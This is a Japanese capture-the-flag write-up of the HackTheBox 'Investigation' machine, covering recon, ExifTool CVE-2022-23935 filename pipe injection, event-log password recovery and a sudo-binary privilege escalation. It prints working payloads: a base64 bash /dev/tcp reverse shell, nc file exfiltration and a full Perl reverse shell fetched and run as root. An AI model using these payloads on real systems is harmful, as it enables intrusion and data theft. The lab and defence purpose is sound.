HackTheBox: Investigation — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80、eforenzics.htb
→
22/80、eforenzics.htb
CVE-2022-23935
ExifTool パイプ注入
→
ExifTool パイプ注入
www-data シェル取得
→
.msg→zip→evtx→JSON
Windowsイベントログ解析
→
Windowsイベントログ解析
EventID 4625/4624
誤入力パスワード復元
→
誤入力パスワード復元
user.txt ✓
→
Ghidra リバースエンジニアリング
/usr/bin/binary
→
/usr/bin/binary
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -p- --min-rate 5000 -oN nmap/allports.txt 10.129.228.203 nmap -sV -sC -p 22,80 -oN nmap/initial.txt 10.129.228.203
RESULT
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://eforenzics.htb/
Service Info: Host: eforenzics.htb; OS: Linux
ℹ️
eforenzics.htb へリダイレクトされるため /etc/hosts に追記。
サイト確認 — “eForenzics” 画像フォレンジックサービス
BASH
curl -s -L http://eforenzics.htb/
ℹ️
「無料の画像フォレンジック解析サービス」を謳うサイトで、jpg画像をアップロードすると
ExifTool で解析したレポート(exiftoolの全メタデータ出力)が表示される。
レポート内に
ExifTool Version Number: 12.37 と明記されている。
PHASE 2
CVE-2022-23935: ExifTool 12.37 パイプ文字コマンドインジェクション
脆弱性の特定
NOTE
ExifTool 12.37 は CVE-2022-23935 に該当する: アップロードされた画像の ファイル名が末尾にパイプ文字 "|" を含む場合、ExifTool 内部の Perl コードが open() をファイル読み込みとしてではなく「2引数 open() のシェルパイプ実行」 として解釈してしまい、ファイル名全体が OS コマンドとして実行される。
⚠️
ハマりどころ:
upload.php のフォームには
<input type="file" name="image"> の他に
<input type="submit" name="upload" value="Upload">
がある。ブラウザから送信すると submit ボタン自体の name=value
(“upload=Upload”) もフォームデータに含まれるため、この
フィールドを省略した素の POST リクエスト(curl -F “image=@file” 単体等)は
ファイル内容やファイル名を検証する前に Invalid File Type!
で即座に拒否されてしまう。
悪意あるファイル名の作成
BASH
# base64 エンコードしたリバースシェルコマンドを生成 echo "bash -i >& /dev/tcp/10.10.15.201/4444 0>&1" | base64 -w0 # → YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yMDEvNDQ0NCAwPiYx # リスナー起動 nc -lnvp 4444
BASH (アップロード送信)
curl -X POST http://eforenzics.htb/upload.php \ -F "image=@avatar.jpg;filename=echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yMDEvNDQ0NCAwPiYx' | base64 -d | bash |;type=image/jpeg" \ -F "upload=Upload"
ℹ️
アップロードするファイル自体の中身(avatar.jpg)は本物の JPEG であれば
何でもよい(拡張子/MIMEタイプチェックはファイル内容に対して行われる)。
悪用するのは ファイル名フィールドの方で、末尾を
| で終える。
シェル取得
RESULT (nc リスナー側)
listening on [any] 4444 ... connect to [10.10.15.201] from (UNKNOWN) [10.129.228.203] 44094 bash: cannot set terminal process group (903): Inappropriate ioctl for device bash: no job control in this shell www-data@investigation:~/uploads/1787529315$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! ExifTool がアップロードされた画像のメタデータ
レポートを生成する際に、末尾が
| のファイル名をコマンドとして
実行してしまい www-data のシェルを取得した。
PHASE 3
crontab 由来の Windows イベントログ解析
crontab から手掛かりのディレクトリを発見
BASH
www-data@investigation:~$ crontab -l
RESULT
*/5 * * * * date >> /usr/local/investigation/analysed_log && ...
ls -al /usr/local/investigation/
-rw-rw-r-- 1 smorton smorton 1308160 Oct 1 00:35 'Windows Event Logs for Analysis.msg'
ℹ️
.msg は Outlook のメールメッセージ形式。他ユーザー(smorton)
所有だが world-readable のため www-data からも読み取り可能。
.msg ファイルの回収
BASH (攻撃側)
nc -nvlp 1337 > out.msg
BASH (ターゲット側)
nc 10.10.15.201 1337 < /usr/local/investigation/Windows\ Event\ Logs\ for\ Analysis.msg
ℹ️
md5sum で転送前後のハッシュを突き合わせ、破損なく転送できたことを確認する。
.msg → evtx-logs.zip → security.evtx
NOTE
.msg ファイルの中身は Thomas Jones から Steve Morton (smorton) 宛てのメールで、 「分析端末へのログオン記録を確認してほしい」という依頼文と共に evtx-logs.zip が添付されている。展開すると security.evtx が現れる。
BASH
# .msg 解析 (Python)
python3 -c "
import extract_msg
msg = extract_msg.Message('out.msg')
for att in msg.attachments:
if att.longFilename.endswith('.zip'):
open('evtx-logs.zip','wb').write(att.data)
"
unzip evtx-logs.zip # → security.evtx
evtx2json で JSON 化 & 解析
BASH
git clone https://github.com/Silv3rHorn/evtx2json.git pip install --break-system-packages -r ./evtx2json/requirements.txt python3 ./evtx2json/evtx2json.py -f security.evtx
⚠️
ハマりどころ: Kali/Debian は PEP 668 で保護された環境のため、
--break-system-packages を付けないと externally-managed-environment
エラーで依存パッケージ(mmh3等)のインストールがサイレントに失敗する。
また出力ファイルは evtx2json_<timestamp>.txt という名前で、
個々のイベントを 区切り文字なしで直接連結({...}{...}{...})
した形式のため、素朴に json.loads()や改行区切りパースをすると失敗する。
json.JSONDecoder().raw_decode() を使い空白を読み飛ばしながら
1オブジェクトずつ逐次デコードする必要がある。フィールド名にも
*EventID や **Timestamp のようにアスタリスクが
接頭辞として付与されている点に注意。
EventID 4625 (ログオン失敗) → 誤入力パスワードの発見
PYTHON (抽出ロジック)
# EventID 4625 の TargetUsername に記号+8文字以上の値があれば
# 「本来パスワード欄に打つべき値を誤ってユーザー名欄に入力した」痕跡とみなす
for ev in failed_logons:
user = ev["TargetUsername"]
if re.search(r"[!@#$%^&*]", user) and len(user) >= 8:
suspicious_password = user # => "Def@ultf0r3nz!csPa$$"
break
RESULT
EventID: 4625 (An account failed to log on)
FailureReason: Unknown user name or bad password.
TargetUsername: Def@ultf0r3nz!csPa$$
🚨
Windows のログオン画面でパスワード欄と間違えてユーザー名欄に
パスワードを打ち込んでしまうのは非常によくあるヒューマンエラー。
直後の EventID 4624 (成功) → 実アカウント名の特定
RESULT
EventID: 4624 (An account was successfully logged on)
TargetUsername: SMorton
TargetDomain: EFORENZICS-DI
✅
資格情報復元! 誤入力の直後(タイムスタンプ比較で最も近い)
成功ログオンのユーザー名
smorton と組み合わせ、
smorton:Def@ultf0r3nz!csPa$$ を得る。
PHASE 4
SSH ログイン → user.txt
smorton として SSH ログイン
BASH
ssh smorton@10.129.228.203 # Password: Def@ultf0r3nz!csPa$$ smorton@investigation:~$ cat user.txt
RESULT
uid=1000(smorton) gid=1000(smorton) groups=1000(smorton)
9829c99aa57997fb2dd951b38cec2a21
user.txt — smorton@investigation
9829c99aa57997fb2dd951b38cec2a21
PHASE 5
sudo バイナリの Ghidra 静的解析
sudo 権限の確認
BASH
smorton@investigation:~$ sudo -l
RESULT
User smorton may run the following commands on investigation:
(root) NOPASSWD: /usr/bin/binary
BASH
sudo /usr/bin/binary # => "Exiting... " (引数なしだと即終了) scp smorton@10.129.228.203:/usr/bin/binary ./binary
Ghidra での逆コンパイル
NOTE (main関数の要点)
1. argc != 3 なら "Exiting..." して終了 (2個の引数が必須) 2. getuid() != 0 なら "Exiting..." して終了 (root権限必須、sudoで満たされる) 3. strcmp(argv[2], "<マジック文字列>") が一致しなければ "Exiting..." して終了 4. 全条件を満たせば "Running..." と表示し: - curl_easy_setopt で argv[1] (URL) を CURLOPT_URL に設定 - fopen(argv[2], "wb") で argv[2] (ファイル名) を出力先に指定 - curl_easy_perform() で URL の内容をそのファイル名でダウンロード - snprintf で "perl ./<ファイル名>" を組み立て system() で実行 (root権限) - 実行後 "rm -f ./<ファイル名>" で後始末
⚠️
ハマりどころ:
objdump -d で strcmp の比較対象文字列を
直接 .rodata セクションから読み取ると lDnxUysaQn
(先頭は小文字のエル)だった。フォントによっては小文字の
l と数字の 1 が酷似しているため、Ghidra の文字列ビューや資料の
書き起こしで 1DnxUysaQn(数字の1)と誤読しやすい。
数字の1のまま試すと strcmp が常に不一致になり実行できないので、
必ずバイナリの生データ(objdump -s -j .rodata 等)で確認すること。
BASH (確認コマンド)
objdump -s -j .rodata binary | grep -A1 Exiting
RESULT
2010 6c446e78 55797361 516e0052 756e6e69 lDnxUysaQn.Runni
PHASE 6
curl+perl RCE → root.txt
Perl リバースシェルの配信準備
BASH (攻撃側)
cat > rshell << 'EOF'
use Socket;$i="10.10.15.201";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/sh -i");};
EOF
python3 -m http.server 9001
nc -nvlp 1337
binary へ URL と正しいマジック文字列を渡して実行
BASH (ターゲット側)
smorton@investigation:~$ sudo /usr/bin/binary http://10.10.15.201:9001/rshell lDnxUysaQn
RESULT (nc :1337 リスナー側)
Ncat: Connection from 10.129.228.203.
# id
uid=0(root) gid=0(root) groups=0(root)
✅
root権限取得成功! URL から取得した Perl リバースシェルを
マジック文字列で指定したファイル名として保存させ、
perl ./<ファイル名>
が root 権限の system() で実行される。
BASH
# cat /root/root.txt
RESULT
0a39b2ae855571ac4f502e0c0114b050
root.txt — root@investigation
0a39b2ae855571ac4f502e0c0114b050
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — smorton@investigation
9829c99aa57997fb2dd951b38cec2a21
root.txt — root@investigation
0a39b2ae855571ac4f502e0c0114b050
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2022-23935 | ExifTool 12.37 (upload.php) | リモートコード実行 (www-data) | Critical | 末尾がパイプ文字のファイル名をアップロードし2引数open()経由でシェルコマンドとして実行 |
| パスワードの誤入力(ヒューマンエラー) | Windows セキュリティイベントログ | 認証情報漏洩 | Medium | EventID 4625のTargetUsernameに誤入力されたパスワードと直後のEventID 4624の実アカウント名を突合 |
| 固定ファイル名検証バイパスsudoバイナリ | /usr/bin/binary | 権限昇格 (root) | High | Ghidraで判明した固定マジック文字列+curl経由のファイルダウンロード+perl実行の組合せでroot RCE |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + eForenzics画像フォレンジックアプリ発見 | ExifTool 12.37 使用を確認 |
| 2 | 初期侵入 | CVE-2022-23935 パイプ注入 | www-data リバースシェル |
| 3 | 情報収集 | crontab + .msg + evtx2json 解析 | smorton:Def@ultf0r3nz!csPa$$ |
| 4 | 権限昇格1 | SSH ログイン | user.txt 取得 |
| 5 | バイナリ解析 | Ghidra 静的解析 + objdump 実データ確認 | マジック文字列 lDnxUysaQn |
| 6 | 権限昇格2 | curl+perl RCE (sudo binary) | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 脆弱なバージョンの ExifTool (12.37, CVE-2022-23935) を外部入力の処理に使用 | ExifTool を 12.42 以降にアップグレードする。ユーザー制御可能なファイル名をそのまま外部ツールに渡さず、サニタイズ/固定パターンへのリネームを行う。 |
| 機密情報(誤入力パスワードを含むイベントログ)を world-readable な場所に保管 | ログファイルへのアクセス権を必要最小限のユーザー/グループに制限する。ログ解析用の共有ディレクトリでも適切なACLを設定する。 |
| sudo で実行可能なバイナリが、任意URLからダウンロードした内容を任意ファイル名でperl実行できてしまう設計 | sudo で実行を許可するバイナリの機能を必要最小限にする。マジック文字列のような弱い認可チェックに頼らず、実行するファイルの出所・内容を検証する仕組みを設ける。 |
